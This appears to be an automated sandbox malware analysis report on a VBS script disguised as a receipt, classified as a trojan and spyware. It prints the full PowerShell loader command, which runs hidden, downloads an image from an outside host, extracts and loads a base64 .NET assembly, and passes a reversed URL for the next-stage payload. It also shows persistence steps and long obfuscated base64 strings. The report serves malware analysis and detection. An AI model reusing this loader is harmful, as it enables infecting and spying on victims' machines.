MDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_04E65B40	19_2_04E65B40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_04E65890	19_2_04E65890
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00CC5B40	20_2_00CC5B40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00CC5B38	20_2_00CC5B38

Source: Tapril-30-receipt.vbs

Initial sample: Strings found which are bigger than 50

Source: Process Memory Space: powershell.exe PID: 7864, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3632, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 1220, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winVBS@39/33@7/5

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\zQdp8jhj[1].txt

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5288:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-G51VNO
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3176:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\3D2D40B765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\0VZWHbNr1OapRPc5
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6528:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5756:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yausfbkn.orf.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Tapril-30-receipt.vbs"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Tapril-30-receipt.vbs	ReversingLabs: Detection: 21%
Source: Tapril-30-receipt.vbs	Virustotal: Detection: 19%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Tapril-30-receipt.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\osma.vbs"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\osma.vbs"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\fbshgr.vbe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\oahxgk.vbs"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\osma.vbs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDg